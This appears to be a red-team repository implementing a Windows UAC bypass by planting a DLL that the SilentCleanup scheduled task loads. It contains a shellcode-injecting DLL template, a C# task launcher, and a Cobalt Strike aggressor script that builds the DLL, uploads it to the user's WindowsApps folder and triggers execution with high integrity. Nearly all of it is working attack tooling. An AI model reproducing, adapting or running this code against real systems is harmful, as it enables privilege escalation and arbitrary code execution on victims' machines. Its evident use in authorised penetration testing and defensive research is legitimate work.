├── .gitignore
├── dllmain.def
├── SilentClean
├── SilentClean
│ ├── ILMergeOrder.txt
│ ├── packages.config
│ ├── Program.cs
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── ILMerge.props
│ └── SilentClean.csproj
├── .gitignore
└── SilentClean.sln
├── dllmain_template.c
├── README.md
└── AggressiveClean.cna
/.gitignore:
--------------------------------------------------------------------------------
1 | *.DS_Store
2 |
--------------------------------------------------------------------------------
/dllmain.def:
--------------------------------------------------------------------------------
1 | EXPORTS
2 | DllMain
3 |
--------------------------------------------------------------------------------
/SilentClean/SilentClean/ILMergeOrder.txt:
--------------------------------------------------------------------------------
1 | # this file contains the partial list of the merged assemblies in the merge order
2 | # you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build
3 | # and finetune merge order to your satisfaction
4 |
5 |
--------------------------------------------------------------------------------
/SilentClean/SilentClean/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/SilentClean/.gitignore:
--------------------------------------------------------------------------------
1 | # Autosave files
2 | *~
3 |
4 | # build
5 | [Oo]bj/
6 | [Bb]in/
7 | packages/
8 | TestResults/
9 |
10 | # globs
11 | .vs/
12 | Makefile.in
13 | *.DS_Store
14 | *.sln.cache
15 | *.suo
16 | *.cache
17 | *.pidb
18 | *.userprefs
19 | *.usertasks
20 | config.log
21 | config.make
22 | config.status
23 | aclocal.m4
24 | install-sh
25 | autom4te.cache/
26 | *.user
27 | *.tar.gz
28 | tarballs/
29 | test-results/
30 | Thumbs.db
31 |
32 | # Mac bundle stuff
33 | *.dmg
34 | *.app
35 |
36 | # resharper
37 | *_Resharper.*
38 | *.Resharper
39 |
40 | # dotCover
41 | *.dotCover
42 |
43 |
--------------------------------------------------------------------------------
/SilentClean/SilentClean/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text.RegularExpressions;
3 | using Microsoft.Win32.TaskScheduler;
4 |
5 | namespace SilentClean
6 | {
7 | class Program
8 | {
9 | static void Main(string[] args)
10 | {
11 | try
12 | {
13 | var hostname = Environment.GetEnvironmentVariable("COMPUTERNAME");
14 | using (TaskService tasksrvc = new TaskService(@"\\"+ hostname, "", "", "", false))
15 | {
16 | var task = tasksrvc.FindAllTasks(new Regex("SilentClean*"));
17 | Console.WriteLine("\n[*] Starting Task");
18 | task[0].RunEx(TaskRunFlags.IgnoreConstraints | TaskRunFlags.UseSessionId, 1, "", "");
19 | Console.WriteLine("\n[*] Make sure to clean-after yourself and remove the dropped DLL");
20 | }
21 | } catch (Exception e)
22 | {
23 | Console.WriteLine(e.Message);
24 | Console.WriteLine(e.StackTrace);
25 | }
26 | }
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/SilentClean/SilentClean.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.28307.1169
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SilentClean", "SilentClean\SilentClean.csproj", "{948152A4-A4A1-4260-A224-204255BFEE72}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {948152A4-A4A1-4260-A224-204255BFEE72}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {948152A4-A4A1-4260-A224-204255BFEE72}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {948152A4-A4A1-4260-A224-204255BFEE72}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {948152A4-A4A1-4260-A224-204255BFEE72}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {D27EECDA-38CD-4013-9BEA-714084972122}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/dllmain_template.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | %%BUFFER%%
6 |
7 | DWORD WINAPI RunMe()
8 | {
9 | HANDLE pHandle;
10 | PVOID remoteBuffer;
11 | STARTUPINFO SI = { 0 };
12 | PROCESS_INFORMATION PI = { 0 };
13 | ZeroMemory(&SI, sizeof(SI));
14 | SI.cb = sizeof(SI);
15 | ZeroMemory(&PI, sizeof(PI));
16 | SI.dwFlags = 1;
17 | SI.wShowWindow = 0;
18 | if(!CreateProcessWithLogonW(L"aaa", L"bbb", L"ccc", 0x00000002, L"C:\\Windows\\System32\\cmd.exe", NULL, 0x04000000, NULL, L"c:\\windows\\system32\\", &SI, &PI)) {
19 | return 0;
20 | }
21 | pHandle = PI.hProcess;
22 | remoteBuffer = VirtualAllocEx(pHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
23 | if (remoteBuffer != NULL)
24 | {
25 | WriteProcessMemory(pHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
26 | CreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
27 | }
28 | CloseHandle(pHandle);
29 | CloseHandle(PI.hThread);
30 | return 0;
31 | }
32 |
33 |
34 | BOOL WINAPI DllMain(HINSTANCE hDll, DWORD dwReason, LPVOID lpReserved) {
35 | switch( dwReason )
36 | {
37 | case DLL_PROCESS_ATTACH:
38 | RunMe();
39 | break;
40 |
41 | case DLL_THREAD_ATTACH:
42 | break;
43 |
44 | case DLL_THREAD_DETACH:
45 | break;
46 |
47 | case DLL_PROCESS_DETACH:
48 | break;
49 | }
50 |
51 | return FALSE;
52 | }
53 |
--------------------------------------------------------------------------------
/SilentClean/SilentClean/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("")]
13 | [assembly: AssemblyCopyright("")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("948152a4-a4a1-4260-a224-204255bfee72")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SilentClean UAC bypass via binary planting
2 |
3 | This project implements a DLL planting technique to bypass UAC Always Notify and execute code in a high integrity process.
4 |
5 | When SilentCleanup task is launched, `dismhost` searches for the non existing DLL `api-ms-win-core-kernel32-legacy-l1.dll` under:
6 |
7 | ```
8 | C:\Users\USER\Appdata\Local\Microsoft\WindowsApps
9 | ```
10 |
11 | The above path exists by default in the PATH of the user.
12 |
13 | By crafting a malicious DLL and placing it in the above directory, it will be loaded by `dismhost.exe` and executed with High Integrity privileges.
14 |
15 | ## Implementation
16 |
17 | The project consists of:
18 |
19 | * **SilentClean .NET project** - Launching SilentClean scheduled task with the use of the TaskScheduler library
20 |
21 | * **DLLmain_template.c** - A DLL skeleton which will spawn a process and inject the shellcode of our choice. Sample provided implements a simple CreateRemoteThread injector.
22 |
23 | * **Cobalt strike aggressor script responsible for**:
24 | * Generating the shellcode byte array
25 | * Replacing dllmain_template.c with the above shellcode
26 | * Compile the dll with mingw
27 | * Upload the dll to the required path
28 | * Execute .NET binary SilentClean.exe through Execute-Assembly to launch the scheduled task
29 |
30 | ## Configuration
31 |
32 | * Feel free to replace injection method in RunMe function of `dllmain_template.c`. **This is just a POC**
33 | * Current spawned process to inject to is `cmd.exe`.
34 | * No shellcode encryption / compression has been baked in. As such the DLL generated will probably be **flagged by an AV**
35 | * x86_64-w64-mingw32 and headers are required to be installed on the building system
36 | * If CNA can not find mingw replace the variables $mingwgcc $mingwdllwrap with your path
37 | * Compile SilentClean .NET project and place executable in the same folder as the CNA script
38 |
39 |
40 | ## Versions tested
41 |
42 | * Microsoft Windows 10 - 1909 18363.1110
43 | * Microsoft Windows 10 - 1909 18363.1082
44 | * Microsoft Windows 10 - 1809 17763.1457
45 |
46 | ## Author
47 |
48 | * [@leftp](https://github.com/leftp)
49 | * [@cirrusj](https://github.com/cirrusj)
50 |
--------------------------------------------------------------------------------
/AggressiveClean.cna:
--------------------------------------------------------------------------------
1 | $mingwgcc = exec("which x86_64-w64-mingw32-gcc");
2 | $mingwdllwrap = exec("which x86_64-w64-mingw32-dllwrap");
3 |
4 | sub uac-silentcleanup {
5 | if (-is64 $1)
6 | {
7 | $arch = "x64";
8 | $shellcode = artifact_payload($2, "raw", $arch); # generate shellcode for x64
9 | }
10 | else
11 | {
12 | $arch = "x86";
13 | $shellcode = artifact_payload($2, "raw", $arch); # generate shellcode for x86
14 | }
15 |
16 | btask($1, "User tasked beacon to bypass UAC with silentcleanup scheduled task DLL planting", "T1548.002");
17 | $user = binfo($1, "user");
18 |
19 | # String building for shellcode into template
20 | $shellbuf = "char shellcode[] = \"" . format_bytes($shellcode) . "\";\n";
21 | $handle = openf(script_resource("dllmain_template.c"));
22 | $data = readb($handle, -1);
23 | closef($handle);
24 |
25 | $fdata = strrep($data, "%%BUFFER%%", $shellbuf);
26 | $destination = openf(">".script_resource("dllmain.c"));
27 | writeb($destination,$fdata);
28 | closef($destination);
29 |
30 | if (-is64 $1)
31 | {
32 | $build = exec($mingwgcc . " -m64 -c -Os " . script_resource("dllmain.c") . " -Wall -shared -o " . getFileParent(script_resource("dllmain.c")) . "/dllmain.o");
33 |
34 | wait($build);
35 |
36 | $wrap = exec($mingwdllwrap . " -m64 --def " . script_resource("dllmain.def") . " " . script_resource("dllmain.o") . " -o " . getFileParent(script_resource("dllmain.c")) . "/api-ms-win-core-kernel32-legacy-l1.dll");
37 |
38 | wait($wrap);
39 | }
40 | else
41 | {
42 | $build = exec($mingwgcc . " -m32 -c -Os " . script_resource("dllmain.c") . " -Wall -shared -o " . getFileParent(script_resource("dllmain.c")) . "/dllmain.o");
43 |
44 | wait($build);
45 |
46 | $wrap = exec($mingwdllwrap . " -m32 --def " . script_resource("dllmain.def") . " " . script_resource("dllmain.o") . " -o " . getFileParent(script_resource("dllmain.c")) . "/api-ms-win-core-kernel32-legacy-l1.dll");
47 |
48 | wait($wrap);
49 | }
50 |
51 | $dll = openf(script_resource("api-ms-win-core-kernel32-legacy-l1.dll"));
52 | $dllbytes = readb($dll, -1);
53 | closef($dll);
54 |
55 | bupload_raw($1, "C:\\Users\\" . $user . "\\Appdata\\Local\\Microsoft\\WindowsApps\\api-ms-win-core-kernel32-legacy-l1.dll", $dllbytes);
56 |
57 | bexecute_assembly($1, script_resource("SilentClean.exe"));
58 | }
59 |
60 | sub format_bytes {
61 | $key = $1;
62 | @fmt = str_chunk(transform($key, "veil"), 60);
63 | return "". join("\"\n\"", @fmt);
64 | }
65 |
66 | beacon_exploit_register("uac-silentcleanup-1909", "Scheduled task uac bypass using silentcleanup with DLL planting", &uac-silentcleanup);
--------------------------------------------------------------------------------
/SilentClean/SilentClean/ILMerge.props:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 | true
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
--------------------------------------------------------------------------------
/SilentClean/SilentClean/SilentClean.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Debug
8 | AnyCPU
9 | {948152A4-A4A1-4260-A224-204255BFEE72}
10 | Exe
11 | SilentClean
12 | SilentClean
13 | v3.5
14 | 512
15 | true
16 |
17 |
18 |
19 |
20 | AnyCPU
21 | true
22 | full
23 | false
24 | bin\Debug\
25 | DEBUG;TRACE
26 | prompt
27 | 4
28 |
29 |
30 | AnyCPU
31 | pdbonly
32 | true
33 | bin\Release\
34 | TRACE
35 | prompt
36 | 4
37 |
38 |
39 |
40 | ..\packages\TaskScheduler.2.8.21\lib\net35\Microsoft.Win32.TaskScheduler.dll
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.
65 |
66 |
67 |
68 |
69 |
70 |
71 |
--------------------------------------------------------------------------------